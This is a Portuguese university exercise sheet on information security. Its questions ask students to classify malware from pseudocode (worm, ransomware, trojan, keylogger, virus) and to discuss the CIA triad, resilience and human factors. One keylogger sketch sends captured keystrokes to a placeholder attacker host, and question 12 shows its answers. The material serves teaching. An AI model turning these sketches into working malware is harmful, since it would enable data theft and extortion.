

Engenharia de Segurança da Informação (Parte 1)

Instruções: Justifique suas respostas de forma clara e objetiva. Para questões discursivas, escreva na caixa de resposta abaixo de cada enunciado.

Conceitos de Referência

- **CIA Triad:** Confidencialidade, Integridade e Disponibilidade.
- **Malware:** Softwares criados para danos, roubo de dados ou acesso não autorizado.
- **Taxonomia:** Vírus e Trojans (Dependentes) vs. Worms e Bots (Independentes).
- **Ataques:** Passivos (intercepção) vs. Ativos (alteração, fabricação, interrupção).

1. Analise o fragmento de pseudocódigo abaixo sobre um mecanismo de propagação:

```
1 FUNCAO propagar()  
2   alvos <- ESCANEAR_REDE_LOCAL(porta=445)  
3   PARA CADA ip EM alvos:  
4     SE VULNERAVEL(ip):  
5       COPIAR_PARA_REMOTO(ESTE_ARQUIVO, ip + "/admin/update.exe")  
6       EXECUTAR_REMOTO(ip + "/admin/update.exe")  
7     FIM SE  
8   FIM PARA  
9 FIM FUNCAO
```

Com base no comportamento de replicação automática, este malware deve ser classificado como:

- (A) Vírus
- (B) Worm
- (C) Trojan
- (D) Ransomware
- (E) Spyware

2. Analise o fragmento abaixo que descreve uma carga útil (*payload*) maliciosa:

```
1 PROCEDIMENTO sequestrar_dados(chave_publica)  
2   PARA CADA arquivo EM "/home/documentos":  
3     SE EXTENSAO(arquivo) == ".docx" OU ".pdf":  
4       conteudo <- LER(arquivo)  
5       criptografado <- ENCRIPITAR_RSA(conteudo, chave_publica)  
6       SOBRESCREVER(arquivo, criptografado)
```

```

7      FIM SE
8      FIM PARA
9      EXIBIR_JANELA("Seus documentos foram bloqueados. Pague para a chave.")
10 FIM PROCEDIMENTO

```

Este comportamento de sequestro de dados via criptografia define um:

- (A) Vírus
- (B) Worm
- (C) Trojan
- (D) Ransomware
- (E) Spyware

3. Observe a estrutura do programa abaixo:

```

1 PROGRAMA "Calculadora_Gratis.exe"
2     INICIO:
3         INICIAR_THREAD(FUNCAO_OCULTA_COLETAR_SENHAS)
4         ABRIR_INTERFACE_CALCULADORA()
5     FIM INICIO
6 FIM PROGRAMA

```

O uso de um programa legítimo para camuflar uma função maliciosa é característica de um:

- (A) Vírus
- (B) Worm
- (C) Trojan
- (D) Ransomware
- (E) Spyware

4. Analise a rotina de monitoramento descrita abaixo:

```

1 LOOP_INFINITO:
2     teclas <- CAPTURAR_PRESSOES_TECLADO()
3     SE TAMANHO(teclas) > 100 caracteres:
4         DUMP <- COMPACTAR(teclas)
5         POST_HTTP("http://servidor-atacker.xyz/logs", DUMP)
6     FIM SE
7     AGUARDAR(5 segundos)
8 FIM LOOP

```

Este malware, focado em monitorar e coletar dados silenciosamente, é um:

- (A) Vírus

- (B) Worm
- (C) Trojan
- (D) Ransomware
- (E) Spyware

5. Analise a função de infecção local:

```
1 FUNCAO infectar_sistema()  
2     lista_exes <- LISTAR_ARQUIVOS_DIRETORIO_ATUAL("*.exe")  
3     PARA CADA exe EM lista_exes:  
4         SE NAO_ESTA_INFECTADO(exe):  
5             MEU_CODIGO <- LER_BYTES(ESTE_ARQUIVO, inicio=0, fim=1024)  
6             INSERIR_NO_INICIO(exe, MEU_CODIGO)  
7         FIM SE  
8     FIM PARA  
9 FIM FUNCAO
```

Ao necessitar anexar-se a arquivos hospedeiros legítimos para sua propagação, classificamos como:

- (A) Vírus
- (B) Worm
- (C) Trojan
- (D) Ransomware
- (E) Spyware

6. Explique a mudança de paradigma na engenharia de software ocorrida na década de 1990 em relação à década de 1980. Por que a conectividade global tornou a segurança um requisito fundamental e não mais um "recurso extra"?

7. Sobre a **Tríade CIA**:

- a) Defina os três pilares (Confidencialidade, Integridade e Disponibilidade).

- b) Explique o "Efeito Cascata" citando um exemplo onde a perda de integridade leva à indisponibilidade do sistema.

8. Na "Pilha de Infraestrutura", atacantes frequentemente focam em navegadores (browsers) e sistemas operacionais em vez de aplicações específicas de baixo volume. Qual a lógica estratégica por trás dessa escolha?

9. A segurança operacional lida com o "Fator Humano". Explique por que a tensão entre **segurança rigorosa** e **eficácia no trabalho** frequentemente leva à violação de políticas de segurança pelos usuários.

10. Diferencie os conceitos de **Exposição** e **Vulnerabilidade** no contexto de engenharia de segurança da informação.

11. Analise o "Problema do Post-it" estudado em sala. Por que esse comportamento do usuário (colar a senha no monitor) deve ser interpretado como uma falha de projeto do sistema e não apenas como um erro humano?

12. Associe o tipo de ameaça ao impacto no sistema (ex: CIA):

- (A) Interceptação () Injeção de transações bancárias falsas. (Fabricação)
- (B) Interrupção () Leitura não autorizada de prontuários. (Interceptação)
- (C) Alteração () Sobrecarga de servidor via ataque DoS. (Interrupção)
- (D) Fabricação () Modificação da dosagem de um medicamento no banco de dados. (Alteração)

13. No estudo de caso do sistema **Mentcare**, quais seriam as consequências catastróficas de uma ameaça de **Interrupção** durante um atendimento de emergência psiquiátrica?

14. Explique por que o ataque de **Fabricação** (como o injeção de transações falsas estudada no CS5) ataca tanto a Integridade quanto a Autenticidade de um sistema financeiro.

15. Defina **Resiliência** de sistemas e explique os dois componentes do seu ciclo: Resistência e Recuperação. Por que um sistema puramente "resistente" ainda pode ser vulnerável?

“Boa atividade! Att. Me. Prof. Sergio Souza Novak.”